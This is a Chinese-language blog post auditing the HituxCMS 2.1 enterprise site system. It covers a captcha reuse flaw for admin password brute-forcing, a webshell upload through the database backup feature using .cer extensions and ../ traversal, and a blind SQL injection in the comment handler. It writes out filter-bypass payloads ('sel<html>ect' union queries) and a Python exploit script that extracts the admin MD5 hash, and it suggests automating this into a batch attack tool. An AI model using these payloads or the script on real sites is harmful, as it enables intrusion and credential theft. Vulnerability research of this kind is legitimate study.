〇.前言

本文为笃行日常工作记录,这篇审计文章,也是在2014年国庆期间写的,比较简单。意在展现一个完整的开源CMS代码手工审计的过程,从未发表过,三年过去了,回过头看还是优点意义的,故这次发出来,一起学习~。
通过本文你可以获取HituxCMS 2.1版本的漏洞发掘过程,getshell和sql注入。

一.系统介绍

海纳企业网站管理系统(HituxCMS)是海纳网络工作室(Hitux.com)专业为企业建站而开发
的一款网站程序。该系统采用最简单易用的 asp+access 进行搭建,拥有完善的网站前后台,
并特别根据企业网站的特点开发出独具特色的栏目和功能。 HituxCMS 是企业建站的绝佳选
择!
系统三大特色:
1、全静态:全站生成.html 静态页面。降低服务器压力,增强百度收录。
2、高优化:特别针对搜索引擎进行优化处理,让客户快速找到你。
3、 够简单:拥有完善后台管理系统,所有内容均可在后台进行更新。非专业人士也可
操作。

二. 架构分析

2.1 系统目录结构

系统核心目录结构如下:

其中 AdminBeat 为后台目录, 整站的管理功能模块都在此目录中完成, Data21923 是数
据库存放目录。这两个目录一般会改名做最基本的安全。
rss 和 search 是 直 接 暴 露 在 外 面 的 用 户 可 以 直 接 调 用 的 功 能 , rss/index.asp
search/index.asp, RSS 订阅和搜索。

2.2 系统功能模块

Inc 目录为基础的通用包含模块目录,功能如下:

文件名 功能
/x_to_html 后台生成静态模块集合 后台生成静态模块集合
Access.asp 权限验证模块
AntiAttack.asp 攻击防御模块
article_view.asp 文章阅读计数器
comment.asp 留言模块
conn.asp 数据库连接模块
Create.asp 创建文件夹模块
GetCode.asp 验证码生成模块
html_clear.asp Html 实体/XSS 过滤模块
Md5.asp MD5 算法类
page_list.asp 分页模块
rand.asp 随机数模块
web_config.asp 站点基本配置读取模块

AdminBeat 目录下功能繁多,就不一一列举,且后台在实战中经常改变的。 就例举常用敏感
功能。

文件名 功能
/KEditor KindEditor 目录,版本: 4.1.3
/PicUpload 图片上传模块
/PicUpLoad2 图片上传模块
Data_xxxx.asp 数据库操作模块
admin_login.asp 管理员登录验证模块
upfile.asp upfile_photo.asp upload.inc 文件上传

2.3 系统实体/表结构分析(只列核心重要的)

表名 作用
Article 文章
Category 文章分类
Web_admin 管理员信息表(密码帐号权限)
Web_article_comment 文章评论
Web_models 模版主题
Web_settings 系统配置

其中Web_Admin 表结构如下

管理员密码以 md5-16 形式存放于 password 字段。

2.4 系统缺省设置

缺省项目 作用
后台目录 /adminbeat 管理员登录 系统最重要的
默认数据库目录/Data21293/NYIKUGY5434231.mdb 系统持久化文件敏感信息
默认管理员密码帐号 admin/admin 登录后台用,拥有系统的最高权限

2.5 系统权限验证机制解析

​ 本系统对于用户纯静态,没有动态的文件展示。只有rss.asp/serach.asp/comment.asp 交
互用,也没有普通用户的系统,所有的操作都在后台进行。
​ 权限验证总体来说做的还不错,粗看没有找到能越权操作的地方, 且验证比较合理,状
态采用 Session 机制保存,系统 Session 字段如下:

Session 作用
Session("log_name") 判断是否登录用
Session("getcode") 验证码记录字段
Session("log_role") 管理员权限字段

​ 这里引入的 Session 机制非常合理,充分避免了一些权限绕过的问题。
登录会话产生 session

If Not (rs.bof Or rs.eof) Then
Session("log_name")=rs("username")
Session("log_role")=rs("class")
session.Timeout=1000

Admin_login.asp 登陆成功时记录 Session

<%
'chk session
If Session("log_name")="" Then
response.redirect "login.asp"
%>
<%
End If
%>

Access.asp 对 Session 字段进行验证。

<%
Session.Abandon()
Response.Redirect "login.asp"
%>

Loingout.asp 销毁 Session

三.系统整体防御体系分析

3.1 用户权限/越权操作防御

上文中 Session 机制引入,验证模块 Access.asp。在所有的后台功能操作模块均包含了
Access.asp。

所以越权操作基本不存在,权限字段似乎也没什么用,只要是管理员能就能操作后台。

3.2 SQL注入防御

主要有 2 个文件 inc/AntiAttack.aspAdminbeat/Inc/Functions.asp

Err_Message = 1 '处理方式: 1=提示信息,2=转向页面,3=先提示再转向
Err_Web = "Err.Asp" '出错时转向的页面
Query_Badword="'‖and‖select‖update‖chr‖delete‖%20from‖;‖insert‖mid‖master.‖set‖chr(37)‖=‖
script‖alert"
'在这部份定义 get 非法参数,使用"‖"号间隔
Form_Badword="select‖and‖set‖delete‖insert‖update‖=‖script‖alert" '在这部份定义 post 非法参数,使用"‖"
号间隔
'------定义部份 尾-----------------------------------------------------------------------
'
On Error Resume Next
'----- 对 get query 值 的过滤.
if request.QueryString<>"" then
Chk_badword=split(Query_Badword,"‖")
FOR EACH Query_form_name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_form_name)),Chk_badword(i))<>0 Then
Select Case Err_Message
报错语句
if request.form<>"" then
Chk_badword=split(Form_Badword,"‖")
FOR EACH form_name2 IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(form_name2)),Chk_badword(i))<>0 Then
Select Case Err_Message
报错语句

可以发现本系统对 get 参数和 post 参数进行了基本过滤, 但显然 post 参数过滤的关键词不多, 且过滤方式是模式匹配,请求参数只要完整包含过滤词中的其中一个则会出现
如下错误:

过滤一些 T-SQL 的关键词,看似还算安全,此文件非函数封装,只要包含了此文件都会起
到防御功能。
Adminbeat/Inc/Functions.asp 中, GetSafeStr 函数过滤引号分号。

Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function

这是个函数需要主动调用这个函数才能起到防御作用。

3.3 XSS防御

文件 inc/html_clear.asp
HTML 过滤就不具体分析了,下文具体漏洞挖掘中用到再分析。

四.漏洞挖掘和分析

4.1 验证码逻辑缺陷

以登录为例: AdminBeat/login.asp

<td ><input type="text" name="verifycode" class='verifycode' id="verifycode" size="16"
maxlength="5"/> <IMG style="CURSOR: pointer"
onclick="this.src=this.src+'?'" height=16 width=50 alt="验证码,看不清楚?请
点击刷新验证码"
src="../inc/getcode.asp"></td>

​ 验证码通过/inc/getcode.asp 请求并且写入 session,如果登录失败,则会返回到 login.asp页面,但是刷新验证码是通过 HTML 脚本实现的,只要我们请求一次验证码,在这个会话周期和 SESSION 周期里,我们只要不重新去请求/inc/getcode.asp 那么验证码是不会变的!于是就可以写一个后台管理员密码爆破工具。

4.2 后台 GetShell

​ 如果有了后台权限那 GetShell 还是很简单的,这里我没有详细挖掘上传漏洞,就直接使
用数据库备份功能[内容管理->数据管理->数据备份]。

​ 看备份代码:

act=Request("act")
If act="save" Then
NewData=replace(LCase(request("NewData")),".asp",".mdb")
if NewData=request("OldData") then
response.Write "<script language='javascript'>alert('新的数据库名称不允许与原始数据库名
称重复! ');history.go(-1);</script>"
response.end
else
Set fso=CreateObject("Scripting.FileSystemObject")
filesource=server.MapPath(DataFolder&"/"&request("OldData"))
fileto=server.MapPath(DataFolder&"/"&NewData)
if fso.fileexists(filesource)

​ 可以发现,简单的把.asp 替换程.mdb,当时没有考虑 asa, cer,aspx 也能执行的情况。

其次备份文件路径没有做限制,可以构造../1.cer 跳到根目录,在我们不知道数据库目录的情况下可以把文件备份到根目录。那么就可以在数据库中插入我们的恶意语句或者上传一个文件用备份方式修改后缀名获取 WEBSHELL。

4.3 留言板SQL注入

​ 直接进入主题,留言板前端位于/ FeedBack/index.html

​ 后端代码为/inc/comment.asp

<!-- #include file="AntiAttack.asp" -->
<!-- #include file="conn.asp" -->
<!-- #include file="md5.asp" -->
<!-- #include file="html_clear.asp" -->
<!-- #include file="Create.asp" -->
<!-- #include file="x_to_html/Post_index_to_html.asp" -->
<%'判断
if request("act")="add" then
article_id=request("id")
name1=trim(request.form("name"))
email1=trim(request.form("email"))
qq1=trim(request.form("qq"))
comment=trim(request.form("content"))
input_code=trim(request.form("verycode"))
url1=trim(request.form("homepage"))
image1=trim(request.form("img"))
if comment="" then
response.Write "<script language='javascript'>alert(' 请 输 入 您 的 评 论 内 容 !
');history.go(-1)</script>"
else
if request("verycode")="" then
response.write "<script language=javascript>alert(' 您 输 入 的 验 证 码 有 误
^_^');history.go(-1);</script>"
Response.End
elseif session("getcode")="9999" then
session("getcode")=""
elseif session("getcode")="" then
response.write "<script language=javascript>alert(' 您 输 入 的 验 证 码 有 误
^_^');history.go(-1);</script>"
Response.End
elseif cstr(session("getcode"))<>cstr(trim(request("verycode"))) then
response.write "<script language=javascript>alert(' 您 输 入 的 验 证 码 有 误
^_^');history.go(-1);</script>"
Response.End
end if

​ 引入了防注入文件和 CSS 过滤文件看来比较安全,留言通过 POST 表单形式提交的,继续看
代码。

set rs=server.createobject("adodb.recordset")
sql="select * from web_article_comment where [content]='"&nohtml(comment)&"'"
rs.open(sql),cn,1,3
if not rs.eof then
response.Write "<script language='javascript'>alert('请不要重复发布!
');history.go(-1)</script>"
else
rs.addnew
if article_id<>"" then
rs("article_id")=article_id
end if

​ 发表留言是,会对留言内容进行查库判重复。

sql="select * from web_article_comment where [content]='"&nohtml(comment)&"'"

​ 这里我们能控制的是 comment 字段,再看上面 post 参数过滤代码,没有对引号之类的进行
过滤。

​ 提交数据

提示不要重复, 看来已经绕过了注入过滤。那么构造一条查询有结果集的语句,如果库内没有任何留言我们可以先留言一个( 为了构造语句,使得查询结果集有结果)。
我们要构造成这样

select * from web_article_comment where [content]='anything' or '1'='1'

​ 继续提交数据

​ 提示被过滤了!

原来是 AntiAttack.asp 中过滤的 = 符号
那我们改成这样,也能达到条件

select * from web_article_comment where [content]='anything' or '1'<'2'

符合我们的预期,说明确实被带入语句查询了!看来注入点存在,那我们让条件不满足,应该会提示留言已经发布成功!

继续再提交

select * from web_article_comment where [content]='anything' or '1'>'2'

结果如下:

注入存在!
前文提到过 web_admin 表中的管理员数据,那我们来构造语句注入吧, 但是这个注入点是
不会把查询结果回显到前端,那么只能伪盲注,为什么叫伪盲注呢,因为还是有留言成功和
不成功的两种状态的。直接进入主题。 按位猜解。

select * from web_article_comment where [content]='anything'or '1'>'2' union select
id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin where mid(password,1,1)>'a'

根据返回结果来判断密码的某一位是否是一个值,又因为 md5-16 加密,那么值的范围肯定
是属于集合{ 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f }
那么最坏情况下猜解 16 x 16 次即可把密码完全解出来,我们来验证下。 默认密码 MD5 是
“7a57a5a743894a0e”
那我们提交

anything'or '1'>'2' union select id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin
where mid(password,1,1)<'8

应该返回留言重复。

提交

anything'or '1'>'2' union select id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin
where mid(password,1,1)< '7

应该返回留言发表成功。

哦对了,我们引入了 select union 等被过滤的词。那么我们来绕过过滤!
感谢过滤 XSS 模块给我的帮助,见上文。

sql="select * from web_article_comment where [content]='"&nohtml(comment)&"'"

我们来看看 nohtml 这个函数的实现,其中有代码:

re.Pattern="(\<.[^\<]*\>)"
str=re.replace(str,"")
re.Pattern="(\<\/[^\<]*\>)"
str=re.replace(str,"")
re.Pattern="/(^[\\s]*)/g"
str=re.replace(str,"")

太棒了,我们可以把 select 改成 sel<html>ect 这种, 在处理的时候直接绕过了注入监测,然后在查库前通过 nohtml 函数把 sel<html>ect 又还原程了 select!太幸福,那么分分钟就可以写出了简单的 exp,然后有了这个过 waf 也是简单的,我们可以填充任意 html 元素!

def get( idx,key ):
s = "ly'or '1'>'2' union sel<html>ect id,2,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin where
mid(password,%d,1)<'%c"%(idx,key)
#print s
httplib.HTTPConnection.debuglevel = 1
request = urllib2.Request( 'http://localhost/inc/comment.asp?act=add&id=' )
request.add_header("Accept", "text/html,*/*")
request.add_header("Connection", "Keep-Alive")
request.add_header("Cookie","ASPSESSIONIDASASARAR=IBEHGIGBOOHNEHLJPENBEJMM")
datax = {'name':'f','content': s,'verycode':'0663'}
print datax
datax = urllib.urlencode(datax)
try:
opener = urllib2.build_opener()
d = opener.open(request,data=datax, timeout=5).read()
d = d.decode("utf8").encode("gbk")
print d
if( d.find( "成功" ) != -1):
return 0
else:
return 1 #存在
except Exception, e:
return 0
def binarydriver( s,e,keys):
while s <= e:
m = (s+e)//2
print m
if get(keys[m])>0:
e = m - 1
elif e - s > 0:
s = m + 1
else:
return keys[m]
binarydriver(s,e,keys)
def check_jcfile(idx):
s = "/0123456789abcdefg"
l = 0
ll = 0
for i in range(0, 17):
l = get(idx,s[i])
if ll == 0 and l == 1:
return s[i - 1]
ll = l
return '0def main(argv):
md5 = "";
for i in range(1, 17):
md5 = md5 + check_jcfile( i )
print md5

EXP 没有加优化,只是遍历的,如果用二分法( ’0123456789abcdef’) 是有序的,可以把枚
举的复杂度降低到 log16。大大加快了 EXP 的速度,其次 EXP 可以把验证码识别下,做到全自动批量工具,百度一下还是效果不错的。

最后 ending…如有不足请指点,亦可留言或联系 fobcrackgp@163.com.
本文为笃行原创文章首发于大题小作,永久链接:海纳企业网站管理系统HituxCms2.1代码审计GETSHELL+注入

https://www.ifobnn.com/hituxcms0day.html

海纳企业网站管理系统HituxCms2.1代码审计GETSHELL+注入相关推荐

  1. 随缘php企业网站管理系统V2.0 shownews.php注入漏洞

    程序名称:随缘网络php企业网站管理系统2.0免费版 以下为系统的功能简介: 1.采用div+css布局经测试兼容IE及firefox主流浏览器,其他浏览器暂未测试. 2.产品新闻三级无限分类. 3. ...

  2. metinfo mysql off_利用Sqlmap测试MetInfo企业网站管理系统MySql注入

    上次叉叉讲了Sqlmap简单注入(access数据库)教程,这次咱说说MySql数据库 MetInfo,是一款强大的企业网站管理系统,采用PHP+Mysql架构. 叉叉下载的是MetInfo 5.1. ...

  3. 全开源智睿企业网站管理系统 v11.1.0源码

    介绍: 智睿企业网站管理系统具有强大的系统功能,支持中繁任意切换,拥有文章/新闻.图片/产品.资源下载.人才招聘.订单系统.问答/留言.友情链接.广告系统.自定义模型.投票调查等众多丰富的功能模型. ...

  4. 汇成企业网站管理系统v1.0源码

    简介: 汇成开源企业网站管理系统是一个以ASP+ACCESS进行开发的asp企业网站源码. 功能特点: 1.企业信息:发布介绍企业的各类信息,如企业简介.组织机构.联系方式,并可随意增加新的栏目. 2 ...

  5. 云优YUNUCMS企业网站管理系统

    介绍: 云优YUNUCMS企业网站管理系统三网合一,跨平台兼容,让企业快速.高效的展示在广大客户面前,为企业带来更多潜在客户,提升企业曝光率和品牌影响力. 网盘下载地址: http://kekewl. ...

  6. 公众号管理模块-DouPHP模块化企业网站管理系统v1.6

    简介: DouPHP是一款轻量级企业网站管理系统,基于PHP+MYSQL架构的,包含"手机版"."公众号管理模块"."小程序",可以使用它快 ...

  7. 千博企业网站管理系统源码 支持电脑和手机版

    介绍: 千博企业网站管理系统无使用时间限制.无域名限制,支持电脑版.手机版.绑定到微信.微信小程序,HTML5响应式内核,高效且优秀. 系统特色功能: 一.0费用,完全免费无限制. 内置一套精美企业网 ...

  8. metinfo mysql off_利用Sqlmap测试MetInfo企业网站管理系统MySql注入漏洞

    讲了Sqlmap简单注入(access数据库)教程,这次咱说说MySql数据库 MetInfo,是一款强大的企业网站管理系统,采用PHP+Mysql架构. 叉叉下载的是MetInfo 5.1.5的免费 ...

  9. DouPHP模块化企业网站管理系统源码 v1.6

    介绍: DouPHP是一款轻量级企业网站管理系统,基于PHP+MYSQL架构的,包含"手机版"."公众号管理模块"."小程序",可以使用它快 ...

最新文章

  1. 用神经网络分类矩阵和矩阵的转置
  2. python中requests的用法总结
  3. LVS——DR模式(负载均衡)
  4. unity3d从零開始(五):了解摄像机
  5. 地图上导出坐标html文件,如何将标签的坐标、海拔等属性导出到TXT文本中
  6. win7 由ie8升级ie11时安装不成功的一个原因
  7. Git客户端Tower for Mac 8.2
  8. noip2016海港(超级详细)
  9. Nginx 实现域名访问以及反向代理
  10. R语言ETL系列:创建字段(mutate)
  11. 无线蓝牙手表FCC ID认证测试项目有哪些?
  12. Python采集股票数据信息
  13. 教师使用计算机的注意事项,李磊老师:计算机专业考研报考注意事项
  14. 基于微信理共享停车位预约小程序系统设计与实现 开题报告
  15. 字符串,字符数组的初始化
  16. crackme.apk分析实例
  17. 满洲国时期的国都建设
  18. java 解析csr文件_ANS.1结合CSR文件学习笔记
  19. Vue使用ECharts完成2020年全国各地区GDP总量大数据可视化面板(附源码)
  20. 通用进销存系统开发摘记

热门文章

  1. WEB前端工程师的职业发展路线图、怎样做WEB前端职业规划
  2. 前端入行前五年的简易职业规划
  3. 有监督、半监督、无监督、弱监督、自监督的定义和区别
  4. matex2怎么升级鸿蒙,Mate X2怎么升级鸿蒙系统 Mate X2升级鸿蒙系统步骤教程
  5. 泰坦尼克号建模分析-你能活下来吗?
  6. arima基本原理_ARIMA模型原理及实现
  7. 中国赴博茨瓦纳的签证怎么办理
  8. Windows多用户同时登陆
  9. Spring session 浏览器sessionId与服务器不一致解决方案
  10. linux mysql php 配置_Linux+Apache+Mysql+PHP典型配置